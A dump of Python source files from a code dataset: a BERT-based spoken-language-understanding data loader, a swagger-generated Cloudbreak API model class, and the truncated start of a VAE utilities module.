self.test_WCN_dict[id]\n\n # Main method for reading the data in XML format\n def __import_example_with_BERT_tokenization(\n self,\n input_file,\n is_train_set=False,\n is_dev_set=False,\n is_test_set=False,\n use_WCN=False,\n load_acoustic_info=False,\n ):\n try:\n huric_example_xml = et.parse(input_file)\n except et.ParseError:\n print(\"Problems on file: {}\".format(input_file))\n return None\n root = huric_example_xml.getroot()\n huric_example_id = root.attrib[\"id\"]\n huric_example = dict()\n huric_example[\"id\"] = huric_example_id\n if load_acoustic_info:\n huric_example[\"audio_file\"] = root.attrib[\"audio_id\"]\n for sentence in root.findall(\"sentence\"):\n huric_example[\"sentence\"] = sentence.text.encode(\"utf-8\")\n ids_array = []\n lemmas_array = []\n pos_array = []\n sentence = []\n for token in root.findall(\"./tokens/token\"):\n token_id = token.attrib[\"id\"]\n ids_array.append(token_id)\n lemma = token.attrib[\"lemma\"]\n lemmas_array.append(lemma.encode(\"utf-8\"))\n pos = token.attrib[\"pos\"]\n pos_array.append(pos)\n surface = token.attrib[\"surface\"]\n sentence.append(surface.encode(\"utf-8\"))\n # getting inputs for BERT encodding\n text = huric_example[\"sentence\"].decode(\"utf-8\").split(\" \")\n\n huric_example[\"index\"] = np.asarray(ids_array)\n huric_example[\"lemma\"] = np.asarray(lemmas_array)\n huric_example[\"pos\"] = np.asarray(pos_array)\n huric_example[\"tokens\"] = np.asarray(sentence)\n sentence_length = len(sentence)\n if sentence_length > self.max_sentence_length:\n self.max_sentence_length = sentence_length\n huric_example[\"sentence_length\"] = sentence_length\n\n # creates empty arrays\n ner_annotations = np.full(sentence_length, fill_value=\"O\", dtype=\"object\")\n dialogue_act_annotations = np.full(\n sentence_length, fill_value=\"O\", dtype=\"object\"\n )\n frame_annotations = np.full(sentence_length, fill_value=\"O\", dtype=\"object\")\n frame_element_annotations = np.full(\n sentence_length, fill_value=\"O\", dtype=\"object\"\n )\n for dialogue_act in root.findall(\"./semantics/dialogueAct/token\"):\n dialogue_act_annotations[\n int(dialogue_act.attrib[\"id\"]) - 1\n ] = dialogue_act.attrib[\"value\"]\n for ner in root.findall(\"./semantics/ner/token\"):\n ner_annotations[int(ner.attrib[\"id\"]) - 1] = ner.attrib[\"value\"]\n for frame in root.findall(\"./semantics/frame/token\"):\n frame_annotations[int(frame.attrib[\"id\"]) - 1] = frame.attrib[\"value\"]\n for frame_element in root.findall(\"./semantics/frame/frameElement/token\"):\n frame_element_annotations[\n int(frame_element.attrib[\"id\"]) - 1\n ] = frame_element.attrib[\"value\"]\n\n # If the flag of WCN is on, we read the WNC files\n if use_WCN is True:\n huric_example[\"wcn\"] = self.__get_WCN(\n os.path.basename(input_file), is_train_set, is_dev_set, is_test_set\n )\n (\n huric_example[\"dialogue_act\"],\n huric_example[\"frame\"],\n huric_example[\"frame_element\"],\n tokenized_sentence,\n ) = self.__tokenize_and_preserve_labels_WCN(\n huric_example[\"wcn\"][0],\n dialogue_act_annotations,\n frame_annotations,\n frame_element_annotations,\n )\n tokenized_length = len(tokenized_sentence)\n else:\n huric_example[\"wcn\"] = None\n # This line works for HERMIT original\n (\n huric_example[\"ner\"],\n huric_example[\"dialogue_act\"],\n huric_example[\"frame\"],\n huric_example[\"frame_element\"],\n tokenized_sentence,\n ) = self.__tokenize_and_preserve_labels(\n text,\n ner_annotations,\n dialogue_act_annotations,\n frame_annotations,\n frame_element_annotations,\n )\n tokenized_length = len(tokenized_sentence)\n\n if tokenized_length > self.max_tokenized_length:\n self.max_tokenized_length = tokenized_length\n huric_example[\"tokenized_length\"] = tokenized_length\n huric_example[\"bert_tokens\"] = np.asarray(tokenized_sentence)\n\n return huric_example\n\n def __tokenize_and_preserve_labels_WCN(self, sentence, da, frame, frame_e):\n \"\"\"\n Word piece tokenization makes it difficult to match word labels\n back up with individual word pieces. This is even more difficult\n when dealing with the WCN. This function tokenizes each\n word contained in the WCN, one at a time so that it is easier to preserve\n the correct number of tokens, and labels it accordign to the DA and FR tag.\n At this point we are considering that Da and FR will be extended\n to all the tokens in the WCN.\n We need to add functionality to be able to incule the slots in this implementation.\n At this moments that does not work.\n\n \"\"\"\n tokenized_sentence = []\n da_labels = []\n frame_labels = []\n frame_e_labels = []\n tokenized_sentence.extend([\"\"])\n da_labels.extend([\"AAA_PAD\"])\n frame_labels.extend([\"AAA_PAD\"])\n frame_e_labels.extend([\"AAA_PAD\"])\n for word in sentence[1:-1]:\n # Tokenize the word and count # of subwords the word is broken into\n tokenized_word = self.tokenizer.tokenize(word)\n n_subwords = len(tokenized_word)\n # Add the tokenized word to the final tokenized word list\n tokenized_sentence.extend(tokenized_word)\n\n da_l = da[0].replace(\"B-\", \"\")\n fr_l = frame[0].replace(\"B-\", \"\")\n fr_e_l = frame_e[0]\n\n # Add the same label to the new list of labels `n_subwords` times\n da_labels.extend([da_l] * n_subwords)\n frame_labels.extend([fr_l] * n_subwords)\n frame_e_labels.extend(\n [fr_e_l] * n_subwords\n ) # FIXME THis is simple wrong, although we are not using these at the meoment!!\n\n tokenized_sentence.extend([\"[]\"])\n da_labels.extend([\"AAA_PAD\"])\n frame_labels.extend([\"AAA_PAD\"])\n frame_e_labels.extend([\"AAA_PAD\"])\n\n return da_labels, frame_labels, frame_e_labels, tokenized_sentence\n\n def __tokenize_and_preserve_labels(self, sentence, ner, da, frame, frame_e):\n \"\"\"\n Word piece tokenization makes it difficult to match word labels\n back up with individual word pieces. This function tokenizes each\n word one at a time so that it is easier to preserve the correct\n label for each subword. It is, of course, a bit slower in processing\n time, but it will help our model achieve higher accuracy.\n \"\"\"\n\n tokenized_sentence = []\n ner_labels = []\n da_labels = []\n frame_labels = []\n frame_e_labels = []\n tokenized_sentence.extend([\"[CLS]\"])\n da_labels.extend([\"AAA_PAD\"])\n frame_labels.extend([\"AAA_PAD\"])\n frame_e_labels.extend([\"AAA_PAD\"])\n for word, ner_label, da_label, fr_label, fre_label in zip(\n sentence, ner, da, frame, frame_e\n ):\n # Tokenize the word and count # of subwords the word is broken into\n tokenized_word = self.tokenizer.tokenize(word)\n n_subwords = len(tokenized_word)\n\n # Add the tokenized word to the final tokenized word list\n tokenized_sentence.extend(tokenized_word)\n # Add the same label to the new list of labels `n_subwords` times\n if n_subwords == 1:\n ner_labels.extend([ner_label] * n_subwords)\n da_labels.extend([da_label] * n_subwords)\n frame_labels.extend([fr_label] * n_subwords)\n frame_e_labels.extend([fre_label] * n_subwords)\n else:\n # NER\n if \"B\" in ner_label.split(\"-\")[0]:\n # Particular case for words at the Begining being splited, only the first\n # subword gets the B label, and the rest are considered as Inside (I)\n # elements\n ner_labels.extend([ner_label])\n ner_label = ner_label.replace(\"B-\", \"I-\")\n ner_labels.extend([ner_label] * (n_subwords - 1))\n else:\n ner_labels.extend([ner_label] * n_subwords)\n # DIALOGUE ACTS\n if \"B\" in da_label.split(\"-\")[0]:\n da_labels.extend([da_label])\n da_label = da_label.replace(\"B-\", \"I-\")\n da_labels.extend([da_label] * (n_subwords - 1))\n else:\n da_labels.extend([da_label] * n_subwords)\n # INTENTIONS\n if \"B\" in fr_label.split(\"-\")[0]:\n frame_labels.extend([fr_label])\n fr_label = fr_label.replace(\"B-\", \"I-\")\n frame_labels.extend([fr_label] * (n_subwords - 1))\n else:\n frame_labels.extend([fr_label] * n_subwords)\n # SLOTS\n if \"B\" in fre_label.split(\"-\")[0]:\n frame_e_labels.extend([fre_label])\n fre_label = fre_label.replace(\"B-\", \"I-\")\n frame_e_labels.extend([fre_label] * (n_subwords - 1))\n else:\n frame_e_labels.extend([fre_label] * n_subwords)\n\n tokenized_sentence.extend([\"[SEP]\"])\n da_labels.extend([\"AAA_PAD\"])\n frame_labels.extend([\"AAA_PAD\"])\n frame_e_labels.extend([\"AAA_PAD\"])\n return ner_labels, da_labels, frame_labels, frame_e_labels, tokenized_sentence\n\n def __get_features_and_labels_from_set(\n self, partition=None, use_WCN=False, network_type=\"SLU\", load_acoustics=False\n ):\n examples_feats = []\n examples_labels = []\n for sentence in partition:\n features = []\n label_vector = []\n # Adding the original sentence\n features.append(sentence[\"sentence\"].decode(\"utf-8\").split(\" \"))\n # Getting the tokenized version\n sentence_array = sentence[\"bert_tokens\"]\n\n # getting tokens\n tokens = np.full(\n self.max_tokenized_length, fill_value=\"[PAD]\", dtype=\"object\"\n )\n sentence_array = sentence_array.tolist()\n sentence_array.reverse()\n for i in range(0, len(sentence_array)):\n tokens[i] = sentence_array.pop()\n tokens = np.asarray(tokens)\n features.append(tokens)\n # Getting headset audios IF required\n if load_acoustics:\n headset_audios = [sentence[\"audio_file\"]]\n if len(headset_audios) > 1:\n features.append(headset_audios)\n else:\n features.append(\n sentence[\"audio_file\"]\n ) # IF NO HEADSET audio, then use the far-field audio\n\n if use_WCN is True:\n features.append(sentence[\"wcn\"])\n\n for label in self.labels:\n if network_type == \"SLU\":\n label_vector.append(\n self.pad_sequences(\n [self.label_encoders[label].transform(sentence[label])],\n maxlen=self.max_tokenized_length,\n pad_value=self.label_encoders[label]\n .transform([\"AAA_PAD\"])\n .item(),\n reverse_order=False,\n )\n )\n else:\n if label == \"frame\" or label == \"dialogue_act\":\n tags = []\n for t in sentence[label]:\n if t != \"AAA_PAD\":\n t = t.replace(\"B-\", \"\")\n t = t.replace(\"I-\", \"\")\n tags.append(t)\n label_vector.append(\n self.pad_sequences(\n [self.label_encoders[label].transform(tags)],\n maxlen=self.max_tokenized_length,\n pad_value=self.label_encoders[label]\n .transform([\"AAA_PAD\"])\n .item(),\n reverse_order=False,\n )\n )\n\n else:\n label_vector.append(\n self.pad_sequences(\n [self.label_encoders[label].transform(sentence[label])],\n maxlen=self.max_tokenized_length,\n pad_value=self.label_encoders[label]\n .transform([\"AAA_PAD\"])\n .item(),\n reverse_order=False,\n )\n )\n\n examples_feats.append(\n features\n ) # doing np.asarray(features)) generated a deprecation warning\n examples_labels.append(label_vector)\n return examples_feats, examples_labels\n\n def __my_collate_batch(self, batch, use_wcn, load_acoustics):\n # print(\"Size of the batch before collating {}\".format(len(batch)))\n text_embeddings = []\n acoustic_embeddings = []\n masks = []\n dialogue_act_classes = []\n intent_classes = []\n slots_classes = []\n # Added for WCN process\n raw_seqs = []\n batch_pos = []\n batch_scores = []\n for instance in batch:\n # instance[0][0] --> textual embeddings\n # instance[0][1] --> acoustic embeddings\n # instance[0][2] --> attention mask\n text_embeddings.append(torch.tensor(instance[0][0]))\n masks.append(torch.tensor(instance[0][2]))\n if (\n load_acoustics and instance[0][1] is not None\n ): # Checking if the acoustic embedding compoment in not None\n acoustic_embeddings.append(\n torch.Tensor.squeeze_(torch.tensor(instance[0][1]))\n )\n dialogue_act_classes.append(instance[1][\"dialogue_act\"])\n intent_classes.append(instance[1][\"frame\"])\n slots_classes.append(instance[1][\"frame_element\"])\n # commented for WCN\n if use_wcn is True:\n raw_seqs.append(instance[2][0])\n batch_pos.append(instance[2][1])\n batch_scores.append(instance[2][2])\n textual_embeddings = torch.cat(text_embeddings)\n if load_acoustics:\n audio_embeddings = pad_sequence(acoustic_embeddings, batch_first=True)\n else:\n audio_embeddings = None\n list_of_masks = torch.cat(masks)\n # commented for WCN\n\n if use_wcn is True:\n batch_pos = torch.LongTensor(np.array(batch_pos))\n batch_scores = torch.FloatTensor(np.array(batch_scores))\n da_labels = torch.LongTensor(np.array(dialogue_act_classes))\n fr_labels = torch.LongTensor(np.array(intent_classes))\n fr_e_labels = torch.LongTensor(np.array(slots_classes))\n\n X_batch = [textual_embeddings, audio_embeddings, list_of_masks]\n if use_wcn is True:\n WCN_batch = [list(raw_seqs), np.array(batch_pos), np.array(batch_scores)]\n else:\n WCN_batch = (\n None # [list(raw_seqs),np.array(batch_pos),np.array(batch_scores)]\n )\n Y_batch = {\n \"dialogue_act\": da_labels,\n \"frame\": fr_labels,\n \"frame_element\": fr_e_labels,\n }\n\n return X_batch, Y_batch, WCN_batch\n\n def generate_training_data_BERT_based(\n self,\n feature_spaces=None,\n run_folder=None,\n network_type=\"SLU\",\n emb_tr=None,\n emb_dev=None,\n emb_test=None,\n emb_tr_dev=None,\n bs=8,\n use_wcn=False,\n load_acoustic_info=False,\n use_kaldi_embeddings=False,\n ):\n self.encoders_path = os.path.join(\"resources\", run_folder, \"encoders\")\n if not os.path.exists(self.encoders_path):\n os.makedirs(self.encoders_path)\n\n if (\n network_type == \"SLU\"\n ): # The SLU architecture correspond to the original HERMIT\n self.generate_label_encoders_for_seqs(save_encoders=True)\n else:\n # Enters here if network_type == SLU_Hybrid or SLU_WCN\n self.generate_label_encoders_for_single_out(save_encoders=True)\n # self.generate_label_encoders(save_encoders=True)\n\n # TRAINING DATA\n train_feats, train_labels = self.__get_features_and_labels_from_set(\n self.train_set, use_wcn, network_type, load_acoustic_info\n )\n acoustic_feats_train = emb_tr\n\n TAD_train = CustomTextAudioDataset(\n features=train_feats,\n labels=train_labels,\n acoustic_feats=acoustic_feats_train,\n max_length=self.max_tokenized_length,\n use_wcn=use_wcn,\n load_acoustic_info=load_acoustic_info,\n kaldi_embeddings=use_kaldi_embeddings,\n )\n\n if self.is_distributed:\n self.samplerTrain = torch.utils.data.distributed.DistributedSampler(\n TAD_train\n )\n world_size = torch.distributed.get_world_size()\n assert isinstance(world_size, int) and world_size > 0\n batch_size = bs[0] // world_size\n else:\n self.samplerTrain = None\n batch_size = bs[0]\n\n Train_DL = DataLoader(\n TAD_train,\n collate_fn=lambda batch: self.__my_collate_batch(\n batch, use_wcn, load_acoustic_info\n ),\n batch_size=batch_size,\n sampler=self.samplerTrain,\n )\n\n # DEVELOPMENT\n dev_feats, dev_labels = self.__get_features_and_labels_from_set(\n self.dev_set, use_wcn, network_type, load_acoustic_info\n )\n acoustic_feats_dev = emb_dev\n\n TAD_dev = CustomTextAudioDataset(\n features=dev_feats,\n labels=dev_labels,\n acoustic_feats=acoustic_feats_dev,\n max_length=self.max_tokenized_length,\n use_wcn=use_wcn,\n load_acoustic_info=load_acoustic_info,\n kaldi_embeddings=use_kaldi_embeddings,\n )\n Dev_DL = DataLoader(\n TAD_dev,\n collate_fn=lambda batch: self.__my_collate_batch(\n batch, use_wcn, load_acoustic_info\n ),\n batch_size=bs[0],\n shuffle=False,\n )\n\n # TEST\n test_feats, test_labels = self.__get_features_and_labels_from_set(\n self.test_set, use_wcn, network_type, load_acoustic_info\n )\n acoustic_feats_test = emb_test\n\n TAD_test = CustomTextAudioDataset(\n features=test_feats,\n labels=test_labels,\n acoustic_feats=acoustic_feats_test,\n max_length=self.max_tokenized_length,\n use_wcn=use_wcn,\n load_acoustic_info=load_acoustic_info,\n kaldi_embeddings=use_kaldi_embeddings,\n )\n Test_DL = DataLoader(\n TAD_test,\n collate_fn=lambda batch: self.__my_collate_batch(\n batch, use_wcn, load_acoustic_info\n ),\n batch_size=bs[0],\n shuffle=False,\n )\n\n # LARGE TRAIN DATA\n large_train_feats = train_feats + dev_feats\n large_train_labels = train_labels + dev_labels\n acoustic_feats_train_dev = emb_tr_dev\n\n TAD_LargeTrain = CustomTextAudioDataset(\n features=large_train_feats,\n labels=large_train_labels,\n acoustic_feats=acoustic_feats_train_dev,\n max_length=self.max_tokenized_length,\n use_wcn=use_wcn,\n load_acoustic_info=load_acoustic_info,\n kaldi_embeddings=use_kaldi_embeddings,\n )\n if self.is_distributed:\n self.samplerLargeTrain = torch.utils.data.distributed.DistributedSampler(\n TAD_LargeTrain\n )\n world_size = torch.distributed.get_world_size()\n assert isinstance(world_size, int) and world_size > 0\n batch_size = bs[0] // world_size\n else:\n self.samplerLargeTrain = None\n batch_size = bs[0]\n LargeTrain_DL = DataLoader(\n TAD_LargeTrain,\n collate_fn=lambda batch: self.__my_collate_batch(\n batch, use_wcn, load_acoustic_info\n ),\n batch_size=batch_size,\n sampler=self.samplerLargeTrain,\n )\n\n return Train_DL, Dev_DL, Test_DL, LargeTrain_DL, self.label_encoders\n\n def __get_headset_audiosIds(self, file_names):\n headsets = []\n for f in file_names:\n if \"headset\" in f:\n headsets.append(f)\n return headsets\n\n def print_sentences(self, out_file=None, include_id=False):\n if out_file:\n with open(out_file, \"w\") as f:\n bar = Bar(\"Printing dataset: \", max=len(self.dataset))\n\n for i, example in enumerate(self.dataset):\n bar.next()\n if include_id:\n f.write(example[\"id\"] + \"\\t\")\n f.write(example[\"sentence\"] + \"\\n\")\n else:\n bar = Bar(\"Printing dataset: \", max=len(self.dataset))\n\n for i, example in enumerate(self.dataset):\n bar.next()\n if include_id:\n print(example[\"id\"] + \"\\t\"),\n print(example[\"sentence\"])\n\n def generate_feature_encoders(self, feature_spaces, save_encoders=False):\n for feature_space in feature_spaces:\n # print(\"generate_feature_encoders\")\n feature_encoder = preprocessing.LabelEncoder()\n\n if feature_space == \"pos\":\n feature_encoder.fit(self.bag_of_pos)\n elif feature_space == \"ner\":\n feature_encoder.fit(self.bag_of_ner)\n else:\n bag_of_features = set()\n for sentence in self.dataset:\n for label in sentence[feature_space]:\n bag_of_features.add(label)\n for sentence in self.train_set:\n for label in sentence[feature_space]:\n bag_of_features.add(label)\n for sentence in self.test_set:\n for label in sentence[feature_space]:\n bag_of_features.add(label)\n bag_of_features = list(bag_of_features)\n feature_encoder.fit(bag_of_features)\n\n self.feature_encoders[feature_space] = feature_encoder\n embedding = np.identity(len(feature_encoder.classes_), dtype=\"float32\")\n self.embeddings[feature_space] = embedding\n if save_encoders:\n np.save(\n os.path.join(self.encoders_path, feature_space + \"_labels.npy\"),\n feature_encoder.classes_,\n )\n\n def generate_label_encoders_for_single_out(self, save_encoders=False):\n for label in self.labels:\n bag_of_labels = set()\n bag_of_labels.add(\"AAA_PAD\")\n # This IF controls the labels for DA and Intent.\n # These are treat as clases and not sequence labeling\n if label != \"frame\" and label != \"dialogue_act\":\n for sentence in self.dataset:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.train_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.dev_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.test_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n else: # The frame elements are considered as sequence labels\n for sentence in self.train_set:\n for l in sentence[label]:\n if l != \"AAA_PAD\":\n l = l.replace(\"B-\", \"\")\n l = l.replace(\"I-\", \"\")\n bag_of_labels.add(l)\n for sentence in self.dev_set:\n for l in sentence[label]:\n if l != \"AAA_PAD\":\n l = l.replace(\"B-\", \"\")\n l = l.replace(\"I-\", \"\")\n bag_of_labels.add(l)\n for sentence in self.test_set:\n for l in sentence[label]:\n if l != \"AAA_PAD\":\n l = l.replace(\"B-\", \"\")\n l = l.replace(\"I-\", \"\")\n bag_of_labels.add(l)\n\n bag_of_labels = list(bag_of_labels)\n self.label_counter[label] = len(bag_of_labels)\n label_encoder = preprocessing.LabelEncoder()\n label_encoder.fit(bag_of_labels)\n\n self.label_encoders[label] = label_encoder\n if save_encoders:\n np.save(\n os.path.join(self.encoders_path, label + \"_labels.npy\"),\n label_encoder.classes_,\n )\n\n def generate_label_encoders_for_seqs(self, save_encoders=False):\n \"\"\"\n Function that generates the encoding of the labels for each of the classification\n tasks present in the dataset\n \"\"\"\n for label in self.labels:\n bag_of_labels = set()\n bag_of_labels.add(\"AAA_PAD\")\n for sentence in self.dataset:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.train_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.dev_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n for sentence in self.test_set:\n for l in sentence[label]:\n bag_of_labels.add(l)\n bag_of_labels = list(bag_of_labels)\n self.label_counter[label] = len(bag_of_labels)\n label_encoder = preprocessing.LabelEncoder()\n label_encoder.fit(bag_of_labels)\n\n self.label_encoders[label] = label_encoder\n if save_encoders:\n np.save(\n os.path.join(self.encoders_path, label + \"_labels.npy\"),\n label_encoder.classes_,\n )\n\n def get_textual_sentences_from(self, partition=\"test\"):\n texts = []\n if partition == \"test\":\n for example in self.test_set:\n texts.append(example[\"bert_tokens\"].tolist())\n return texts\n\n \"\"\"\n These I implemented before\n \"\"\"\n\n def pad_sequences(\n self, labels_array, maxlen=None, pad_value=-1, reverse_order=True, dtype=\"int32\"\n ):\n padded_sequence = np.full((maxlen), pad_value, dtype=dtype)\n if reverse_order:\n padded_sequence[-(len(labels_array[0])) :] = labels_array[0]\n else:\n padded_sequence[: len(labels_array[0])] = labels_array[0]\n return padded_sequence\n\n def to_categorical(self, y, num_classes=None, dtype=\"float32\"):\n \"\"\"1-hot encodes a tensor\"\"\"\n return np.eye(num_classes, dtype=dtype)[y]\n\n def get_train_sampler(self):\n return self.samplerTrain\n\n def get_largetrain_sampler(self):\n return self.samplerLargeTrain\n","repo_name":"idiap/slu_representations","sub_path":"data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":45631,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"11852570843","text":"# coding: utf-8\n\n\"\"\"\n Cloudbreak API\n\n Cloudbreak is a powerful left surf that breaks over a coral reef, a mile off southwest the island of Tavarua, Fiji. Cloudbreak is a cloud agnostic Hadoop as a Service API. Abstracts the provisioning and ease management and monitoring of on-demand clusters. SequenceIQ's Cloudbreak is a RESTful application development platform with the goal of helping developers to build solutions for deploying Hadoop YARN clusters in different environments. Once it is deployed in your favourite servlet container it exposes a REST API allowing to span up Hadoop clusters of arbitary sizes and cloud providers. Provisioning Hadoop has never been easier. Cloudbreak is built on the foundation of cloud providers API (Amazon AWS, Microsoft Azure, Google Cloud Platform, Openstack), Apache Ambari, Docker lightweight containers, Swarm and Consul. For further product documentation follow the link: http://hortonworks.com/apache/cloudbreak/\n\n OpenAPI spec version: 2.9.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nfrom pprint import pformat\nfrom six import iteritems\nimport re\n\n\nclass InstanceGroupDetails(object):\n \"\"\"\n NOTE: This class is auto generated by the swagger code generator program.\n Do not edit the class manually.\n \"\"\"\n\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'group_name': 'str',\n 'group_type': 'str',\n 'node_count': 'int',\n 'instance_type': 'str',\n 'volume_type': 'str',\n 'volume_size': 'int',\n 'volume_count': 'int',\n 'security_group': 'SecurityGroupDetails'\n }\n\n attribute_map = {\n 'group_name': 'groupName',\n 'group_type': 'groupType',\n 'node_count': 'nodeCount',\n 'instance_type': 'instanceType',\n 'volume_type': 'volumeType',\n 'volume_size': 'volumeSize',\n 'volume_count': 'volumeCount',\n 'security_group': 'securityGroup'\n }\n\n def __init__(self, group_name=None, group_type=None, node_count=None, instance_type=None, volume_type=None, volume_size=None, volume_count=None, security_group=None):\n \"\"\"\n InstanceGroupDetails - a model defined in Swagger\n \"\"\"\n\n self._group_name = None\n self._group_type = None\n self._node_count = None\n self._instance_type = None\n self._volume_type = None\n self._volume_size = None\n self._volume_count = None\n self._security_group = None\n\n if group_name is not None:\n self.group_name = group_name\n if group_type is not None:\n self.group_type = group_type\n if node_count is not None:\n self.node_count = node_count\n if instance_type is not None:\n self.instance_type = instance_type\n if volume_type is not None:\n self.volume_type = volume_type\n if volume_size is not None:\n self.volume_size = volume_size\n if volume_count is not None:\n self.volume_count = volume_count\n if security_group is not None:\n self.security_group = security_group\n\n @property\n def group_name(self):\n \"\"\"\n Gets the group_name of this InstanceGroupDetails.\n\n :return: The group_name of this InstanceGroupDetails.\n :rtype: str\n \"\"\"\n return self._group_name\n\n @group_name.setter\n def group_name(self, group_name):\n \"\"\"\n Sets the group_name of this InstanceGroupDetails.\n\n :param group_name: The group_name of this InstanceGroupDetails.\n :type: str\n \"\"\"\n\n self._group_name = group_name\n\n @property\n def group_type(self):\n \"\"\"\n Gets the group_type of this InstanceGroupDetails.\n\n :return: The group_type of this InstanceGroupDetails.\n :rtype: str\n \"\"\"\n return self._group_type\n\n @group_type.setter\n def group_type(self, group_type):\n \"\"\"\n Sets the group_type of this InstanceGroupDetails.\n\n :param group_type: The group_type of this InstanceGroupDetails.\n :type: str\n \"\"\"\n\n self._group_type = group_type\n\n @property\n def node_count(self):\n \"\"\"\n Gets the node_count of this InstanceGroupDetails.\n\n :return: The node_count of this InstanceGroupDetails.\n :rtype: int\n \"\"\"\n return self._node_count\n\n @node_count.setter\n def node_count(self, node_count):\n \"\"\"\n Sets the node_count of this InstanceGroupDetails.\n\n :param node_count: The node_count of this InstanceGroupDetails.\n :type: int\n \"\"\"\n\n self._node_count = node_count\n\n @property\n def instance_type(self):\n \"\"\"\n Gets the instance_type of this InstanceGroupDetails.\n\n :return: The instance_type of this InstanceGroupDetails.\n :rtype: str\n \"\"\"\n return self._instance_type\n\n @instance_type.setter\n def instance_type(self, instance_type):\n \"\"\"\n Sets the instance_type of this InstanceGroupDetails.\n\n :param instance_type: The instance_type of this InstanceGroupDetails.\n :type: str\n \"\"\"\n\n self._instance_type = instance_type\n\n @property\n def volume_type(self):\n \"\"\"\n Gets the volume_type of this InstanceGroupDetails.\n\n :return: The volume_type of this InstanceGroupDetails.\n :rtype: str\n \"\"\"\n return self._volume_type\n\n @volume_type.setter\n def volume_type(self, volume_type):\n \"\"\"\n Sets the volume_type of this InstanceGroupDetails.\n\n :param volume_type: The volume_type of this InstanceGroupDetails.\n :type: str\n \"\"\"\n\n self._volume_type = volume_type\n\n @property\n def volume_size(self):\n \"\"\"\n Gets the volume_size of this InstanceGroupDetails.\n\n :return: The volume_size of this InstanceGroupDetails.\n :rtype: int\n \"\"\"\n return self._volume_size\n\n @volume_size.setter\n def volume_size(self, volume_size):\n \"\"\"\n Sets the volume_size of this InstanceGroupDetails.\n\n :param volume_size: The volume_size of this InstanceGroupDetails.\n :type: int\n \"\"\"\n\n self._volume_size = volume_size\n\n @property\n def volume_count(self):\n \"\"\"\n Gets the volume_count of this InstanceGroupDetails.\n\n :return: The volume_count of this InstanceGroupDetails.\n :rtype: int\n \"\"\"\n return self._volume_count\n\n @volume_count.setter\n def volume_count(self, volume_count):\n \"\"\"\n Sets the volume_count of this InstanceGroupDetails.\n\n :param volume_count: The volume_count of this InstanceGroupDetails.\n :type: int\n \"\"\"\n\n self._volume_count = volume_count\n\n @property\n def security_group(self):\n \"\"\"\n Gets the security_group of this InstanceGroupDetails.\n\n :return: The security_group of this InstanceGroupDetails.\n :rtype: SecurityGroupDetails\n \"\"\"\n return self._security_group\n\n @security_group.setter\n def security_group(self, security_group):\n \"\"\"\n Sets the security_group of this InstanceGroupDetails.\n\n :param security_group: The security_group of this InstanceGroupDetails.\n :type: SecurityGroupDetails\n \"\"\"\n\n self._security_group = security_group\n\n def to_dict(self):\n \"\"\"\n Returns the model properties as a dict\n \"\"\"\n result = {}\n\n for attr, _ in iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"\n Returns the string representation of the model\n \"\"\"\n return pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"\n For `print` and `pprint`\n \"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"\n Returns true if both objects are equal\n \"\"\"\n if not isinstance(other, InstanceGroupDetails):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"\n Returns true if both objects are not equal\n \"\"\"\n return not self == other\n","repo_name":"Chaffelson/whoville","sub_path":"whoville/cloudbreak/models/instance_group_details.py","file_name":"instance_group_details.py","file_ext":"py","file_size_in_byte":9137,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"18"} +{"seq_id":"703518739","text":"import os\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport seaborn as sns\n\nimport itertools\n\nfrom IPython.core.display import HTML\n\nimport torch\nfrom torchvision import transforms\nfrom torch import nn\n\nimport functools\nimport time\n\n# Our modules\nfrom vae import configs\nfrom vae.data import data_utils\n\n\ndef timeit(func):\n @functools.wraps(func)\n def newfunc(*args, **kwargs):\n startTime = time.time()\n func(*args, **kwargs)\n elapsedTime = time.time() - startTime\n print('function [{}] finished in {} s'.format(\n func.__name__, int(elapsedTime)))\n return newfunc\n\n\ndef import_model(model, device):\n if device == 'cpu':\n model = model\n if device == 'cuda':\n if torch.cuda.is_available():\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n else:\n raise ValueError('cuda is not available')\n return model\n\n\ndef get_latentdims_from_model(model):\n for param_tensor in model.state_dict():\n if param_tensor == 'encoder.fc_mu.bias':\n latent_dims = model.state_dict()[param_tensor].size()[0]\n return latent_dims\n\n\ndef load_pretrained_model(model, trained_epochs):\n model.load_state_dict(torch.load(configs.ParamsConfig.TRAINED_MODELS_PATH + '/saved_model_' + str(trained_epochs) + \"epochs.pth\"))\n return\n\ndef plot_supervised_losses(model, model_name, trained_epochs):\n\n checkpoint = torch.load(configs.ParamsConfig.TRAINED_MODELS_PATH + '/saved_model_' + str(trained_epochs) + \"epochs.pth\")\n model.load_state_dict(checkpoint['model'])\n\n y_val = checkpoint['val loss'][5:-1]\n x_val = np.arange(0, len(y_val))\n y_train = checkpoint['train loss'][5:-1]\n x_train = np.arange(0, len(y_train))\n\n plt.title('Average Losses')\n plt.plot(x_train, y_train, label='train 